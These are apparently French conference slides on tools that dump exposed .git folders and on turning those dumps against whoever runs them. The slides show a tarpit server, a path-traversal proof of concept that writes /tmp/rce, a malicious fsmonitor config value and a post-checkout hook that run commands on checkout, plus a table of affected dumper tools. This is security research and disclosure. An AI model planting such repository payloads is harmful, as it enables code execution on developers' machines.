SteakOverflow 2023 - @yarienkiva
Aloïs "Alol" de Souza-Coroller
@yarienkiva
Malware Analyst - CERT La Poste
HeroCTF organiser
https://heartathack.club
Permet de récupérer tout ou partie du contenu d'un dossier .git laissé accessible sur un serveur web.
Utilisé en bug bounty/pentest comme en CTF.
Quelques exemples :
Permet de récupérer tout le repository git :
.git/
├── config
├── HEAD
├── index
...
├── objects
│ ├── 72
│ │ └── 6850c95e180c2366cc78594cb8b6926dcfdd68
│ ├── 78
│ │ └── 981922613b2afb6025042ff6bd878ac1994e85
│ ├── e6
│ │ └── 317a71076f769fc87d4957752a802538fe6db7
│ ├── info
│ └── pack
└── refs
├── heads
│ └── master
└── tags
.git/
├── config
├── HEAD
├── index
...
├── objects
│ ├── 72
│ │ └── 6850c95e180c2366cc78594cb8b6926dcfdd68
│ ├── 78
│ │ └── 981922613b2afb6025042ff6bd878ac1994e85
│ ├── e6
│ │ └── 317a71076f769fc87d4957752a802538fe6db7
│ ├── info
│ └── pack
└── refs
├── heads
│ └── master
└── tags
.git/
├── config
├── HEAD
├── index
...
├── objects
│ ├── 72
│ │ └── 6850c95e180c2366cc78594cb8b6926dcfdd68
│ ├── 78
│ │ └── 981922613b2afb6025042ff6bd878ac1994e85
│ ├── e6
│ │ └── 317a71076f769fc87d4957752a802538fe6db7
│ ├── info
│ └── pack
└── refs
├── heads
│ └── master
└── tags
tree <=> dossier
blob <=> fichier
commit
Résumée en 4 étapes:
Télécharger une liste de fichiers connus*
Extraire les hashes SHA1
Télécharger les objects liés (queue ou recursivement)
Lancer `git checkout .`
*Bonne opportunité pour fingerprint
objects/41/d05...
objects/41/d05...
objects/e2/83b...
objects/f3/a13...
objects/85/2ec...
852ec...
git-checkout -> "Switch branches or restore working tree files"
git checkout . -> "Undo unstaged local changes"
Les modifications ici sont la "supression" de tous les fichiers, après un git checkout on revient commit précédent (où ils sont tous présents).
"Ça se pwn ça ... "
Quelques exemples :
@app.route("/.git/<path:path>")
def tarpit(path):
# si le crawler veut télécharger un objet ...
if re.match("objects/[a-f0-9]{2}/[a-f0-9]{38}", path):
logging.info(f"{request.headers.get('X-Real-IP')}-> {path}")
# on le fait patienter un peu ...
time.sleep(random.uniform(0, 3))
# on en génère un aléatoire à la volée ...
content = b"tree 30\x0040000 tmp\x00" + os.urandom(20)
content = zlib.compress(content)
stream = io.BytesIO(content)
# et on le renvoie !
return send_file(stream, as_attachment=True, download_name=path[-38:])
return send_from_directory(".git", path)
~6770x la vie de l'univers pour 50% de chance de collision, ça va on est large
"GG la solve !"
In [1]: import git # pip3 install GitPython
In [2]: repo = git.Repo.init(path='.')
In [3]: repo.index.add('../../../../../../../../tmp/rce')
Out[3]:
[
(100644, 16951063df50854444827055b44ced141bad81af, 0, ../../../../../../../../tmp/rce)
]
In [4]: repo.index.commit('à+ suus')
Out[4]: <git.Commit "e55b2e5bc06c0a7292a70dc5e599f21dfe68b60f">
$ git checkout .
Updated 1 path from the index
$ ls -al
total 0
drwxrwxr-x 3 alol alol 60 Oct 11 01:33 .
drwx------ 3 alol alol 60 Oct 11 01:33 ..
drwxrwxr-x 6 alol alol 200 Oct 11 01:36 .git
$ cat /tmp/rce
pwned eeeey
Satané chinois v2
attaquant
victime
.bashrc ? authorized_keys ? /bin/bash ? /dev/mem ? systemd service ? /dev/sda1 ?
Vous avez 4h
Sources:
https://youtu.be/kjIGfOgh3UI?t=18708 (THCon 2023, day 1/2 - oh my zshrce)
https://www.sonarsource.com/blog/securing-developer-tools-git-integrations/
S/O wortyback
# cat .git/config
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
fsmonitor = "echo Salut SteakOverflow > /tmp/pwned #"
$ git checkout .
Updated 0 paths from the index
$ cat /tmp/pwned
Salut SteakOverflow
attaquant
victime
# cat .git/hooks/post-checkout
echo pwned again !
attaquant
ou
S/O wortyback
git-fsck - "Verifies the connectivity and validity of the objects in the database"
SteakOverflow 2023 - @yarienkiva
Gitlab | push ignoré |
Gogs / Gitea / Forgejo | erreur 500 mais clonable |
Gitbucket | rien* |
RhodeCode | rien* |
kallithea | rien* |
Apache Allura | rien* |
github.com | push ignoré |
bitbucket.com | rien* |
Tableau récap. | Git-Tarpit | RCE1: Dir. Traversal | RCE2: FSMonitor |
---|---|---|---|
internetwache/GitTools | |||
arthaud/git-dumper | x | x | x |
nyancrimew/goop | x | x | x |
davtur19/DotGit | x |